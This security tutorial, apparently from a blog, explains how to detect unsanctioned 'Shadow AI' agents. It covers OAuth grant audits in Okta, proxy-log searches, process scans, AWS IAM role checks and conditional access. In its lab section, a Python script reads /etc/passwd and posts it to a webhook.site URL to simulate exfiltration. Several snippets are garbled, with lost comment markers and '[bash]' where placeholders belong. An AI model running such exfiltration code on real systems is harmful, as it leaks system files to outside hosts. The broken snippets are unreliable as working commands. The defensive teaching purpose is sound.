Introduction:
The era of agentic AI has introduced a new and pervasive security blind spot: Shadow AI. This refers to unsanctioned AI tools, bots, and autonomous agents operating within an organization’s network without the knowledge or approval of IT and security teams. Unlike traditional Shadow IT, these agents possess the ability to act autonomously, potentially exfiltrating data or escalating privileges using legitimate OAuth grants. To combat this, Okta has integrated Agent Discovery into its Identity Security Posture Management (ISPM) service, leveraging OAuth consent flows to map and govern every known and unknown identity acting on behalf of AI.
Learning Objectives:
- Understand the definition and security risks associated with Shadow AI and agentic identities.
- Learn how Okta’s Agent Discovery utilizes OAuth grants to detect and map unsanctioned AI agents.
- Gain practical knowledge on auditing OAuth permissions and identifying rogue applications in enterprise environments.
- Explore command-line techniques for detecting anomalous network traffic associated with AI agents.
- Understand best practices for implementing fine-grained access control and governance for AI workloads.
You Should Know:
1. Detecting Shadow AI via OAuth Consent Auditing
The core of Okta’s strategy involves monitoring OAuth 2.0 consent grants. When an AI agent or tool attempts to integrate with an enterprise application (like Slack, Google Workspace, or GitHub), it requests permissions via OAuth. Often, these are granted by end-users without IT oversight. Security teams must audit these grants to identify malicious or overly permissive agents.
Step‑by‑step guide: Auditing OAuth Grants in Okta (Administrator Portal)
This process helps you manually replicate the discovery process by identifying third-party agents that have been granted access.
1. Log in to your Okta administrator dashboard.
2. Navigate to Applications -> Applications.
- Change the filter to show OAuth 2.0 Client Applications.
- Review the list for applications with generic names, unknown developers, or descriptions referencing “AI,” “Bot,” “Agent,” or “Assistant.”
- Click on a suspicious application and navigate to the OAuth 2.0 tab.
- Analyze the Granted Scopes. Look for high-risk permissions like `offline_access` (allows the agent to act when the user is logged out), `user:email` (data exfiltration), or `repo` (code access).
- If an application is deemed malicious or is Shadow AI, revoke its grants immediately.

Hunting for AI Agents Using API Endpoint Analysis
Many AI agents communicate with external LLM providers or command-and-control (C2) servers. Security professionals can analyze network logs and API traffic to detect these unauthorized calls.
Step‑by‑step guide: Detecting Anomalous API Traffic with cURL and JQ
This simulates inspecting logs for traffic to known AI provider endpoints that haven’t been sanctioned.
1. Extract API call logs from your firewall or proxy server. Assuming you have a JSON log file (traffic.log), you can use `jq` on Linux to filter for requests to common AI providers.
2. Run the following command to search for traffic to OpenAI, Anthropic, or custom agent endpoints:
cat /var/log/proxy/traffic.log | jq 'select(.url | contains("openai.com") or contains("anthropic.com") or contains("agent.internal")) | {timestamp: .timestamp, user: .user, url: .url}'
3. Cross-reference the found users and URLs against your organization’s approved AI tool list. Any unapproved traffic to these endpoints constitutes potential Shadow AI activity.
4. On Windows (PowerShell), you can use a similar approach with Select-String:
Get-Content C:\Logs\traffic.log | Select-String "openai.com", "anthropic.com"
3. Identifying Agentic Behavior via Process Monitoring
Shadow AI isn’t just web-based; it includes locally running Python scripts or compiled agents that scrape data or automate actions. Monitoring for specific process behaviors is key.
Step‑by‑step guide: Scanning for Python Virtual Environments and Suspicious Scripts
Developers often deploy AI agents in hidden Python environments. This Linux command scans for common agentic patterns.
1. Open a terminal on a Linux jump box with access to file systems or use an EDR tool to query endpoints.
2. Search for virtual environments that may contain AI libraries but are located in unusual directories (e.g., /tmp, hidden folders in home directories).
find /home -name "pyvenv.cfg" -exec dirname {} \; | while read env; do echo "Potential Agent Env: $env"; ls -la "$env/bin" | grep -E '(python|pip)'; done
3. Look for running processes named after common agent frameworks (e.g., crewai, autogen, langchain).
ps aux | grep -E 'crewai|autoGen|langchain|agent.py'
4. If found, inspect the process details and network connections to determine if it’s sanctioned.
Replace [bash] with the actual process ID sudo lsof -p [bash] | grep -E 'IPv4|IPv6'
4. Hardening Cloud Environments Against Agent Privilege Escalation
In cloud environments, Shadow AI agents can be granted IAM roles. If an agent is compromised, it can lead to privilege escalation. Okta’s ISPM aims to map these “machine identities.” Here’s how to audit them in AWS.
Step‑by‑step guide: Auditing IAM Roles Used by AI Services (AWS CLI)
This identifies roles assumed by AWS AI services (like SageMaker or Bedrock) which could be misused by rogue agents.
1. Configure the AWS CLI with security audit permissions.
2. List all IAM roles and check their trust relationships to see if they can be assumed by an AWS AI service.
aws iam list-roles --query "Roles[?contains(AssumeRolePolicyDocument, 'bedrock.amazonaws.com') || contains(AssumeRolePolicyDocument, 'sagemaker.amazonaws.com')].{RoleName:RoleName, Arn:Arn}" --output table
3. For each role identified, list the attached policies to check for over-privilege.
aws iam list-attached-role-policies --role-name [bash]
4. Review the policy document for wildcard permissions ("Action": ""). This is a critical risk if attached to an AI agent, as a compromised agent could delete S3 buckets or spin up cryptominers.
aws iam get-policy-version --policy-arn [bash] --version-id [bash]
5. Implementing Fine-Grained Controls with Conditional Access
Once discovered, Shadow AI must be controlled. Instead of a blunt block, security teams can use conditional access policies to limit what these agents can do based on context (e.g., location, device compliance, risk score).
Step‑by‑step guide: Creating a Conditional Access Policy for AI Apps in Azure AD/Entra ID
This is analogous to controls available in Okta and other IdPs.
1. Navigate to Azure Active Directory -> Security -> Conditional Access.
2. Click + New policy.
- Assignments -> Users: Select all users or a specific test group.
- Assignments -> Cloud apps or actions: Select “Cloud apps,” then “Include” -> “Select apps.” Search for and select high-risk AI applications (e.g., a rogue ChatGPT clone or an unknown agent).
- Access controls -> Grant: Select “Block access” to fully stop the agent.
- Alternatively, select “Grant access” but check “Require device to be marked as compliant” and “Require multi-factor authentication.” This ensures even if an agent is running, it cannot act without a compliant device and human MFA, effectively neutering autonomous background agents.
- Set Enable policy to “On” and click Create.
6. Simulating Shadow AI Discovery with Open-Source Tools
Security teams can proactively hunt for Shadow AI by emulating the behavior of these agents in a lab environment.
Step‑by‑step guide: Creating a Test “Shadow AI” Agent to Understand Telemetry
This lab exercise helps you understand what logs are generated.
1. Create a simple Python script (shadow_agent.py) that uses the `requests` library to exfiltrate dummy data to a webhook.
import requests
import os
Simulate stealing a local config file
try:
with open("/etc/passwd", "r") as f:
data = f.read()
except:
data = "Simulated data dump"
Send to a free webhook.site URL (replace with your test URL)
webhook_url = "https://webhook.site/your-unique-url"
requests.post(webhook_url, json={"data": data[:100]})
print("Agent executed.")
2. Run the script on a test VM: python3 shadow_agent.py.
3. Immediately check your SIEM or EDR (like Wazuh or Splunk) for alerts.
4. Check proxy logs for the outbound connection to webhook.site.
5. Check Okta System Log (API) for any OAuth activity if the script attempted to use an API token. This exercise demonstrates how easily data can leave the network and how critical it is to have monitoring in place.
Simulate checking Okta logs via API (requires API token)
curl -X GET "https://your-subdomain.okta.com/api/v1/logs?since=2023-01-01T00:00:00.000Z" -H "Authorization: SSWS ${OKTA_API_TOKEN}" | jq '.[] | select(.eventType | contains("oauth2"))'
What Undercode Say:
- Identity is the New Perimeter for AI: Traditional network firewalls are blind to AI agents operating via OAuth and APIs. Securing the “agentic layer” requires a shift toward identity-focused security posture management, where the agent itself becomes an identity that must be governed with the same rigor as a human user.
- Visibility Trumps Control (Initially): You cannot secure what you cannot see. Okta’s Agent Discovery highlights that the first battle in Shadow AI is simply knowing it exists. Enterprises must prioritize tooling that maps the sprawling landscape of bots and agents before attempting to lock them down.
The rise of Shadow AI represents a paradigm shift from Shadow IT. While Shadow IT involved static applications, Shadow AI introduces dynamic, autonomous actors capable of complex actions. The response cannot be a simple block; it requires a governance model that understands the agent’s intent, its data permissions, and its behavioral patterns. Organizations that fail to adapt will find their “crown jewel data” exfiltrated not by a hacker, but by a helpful, unsanctioned bot acting on behalf of an employee.
Prediction:
Within the next 18 months, we will see the emergence of “AI Security Posture Management (AI-SPM)” as a distinct and mandatory category in enterprise security stacks. This will merge identity governance (Okta), cloud security (CSPM), and data loss prevention (DLP) to specifically address agentic AI. Furthermore, regulatory bodies will begin mandating the inventory and risk assessment of all AI agents, similar to GDPR requirements for data processing, forcing organizations to treat every bot as a reportable entity.
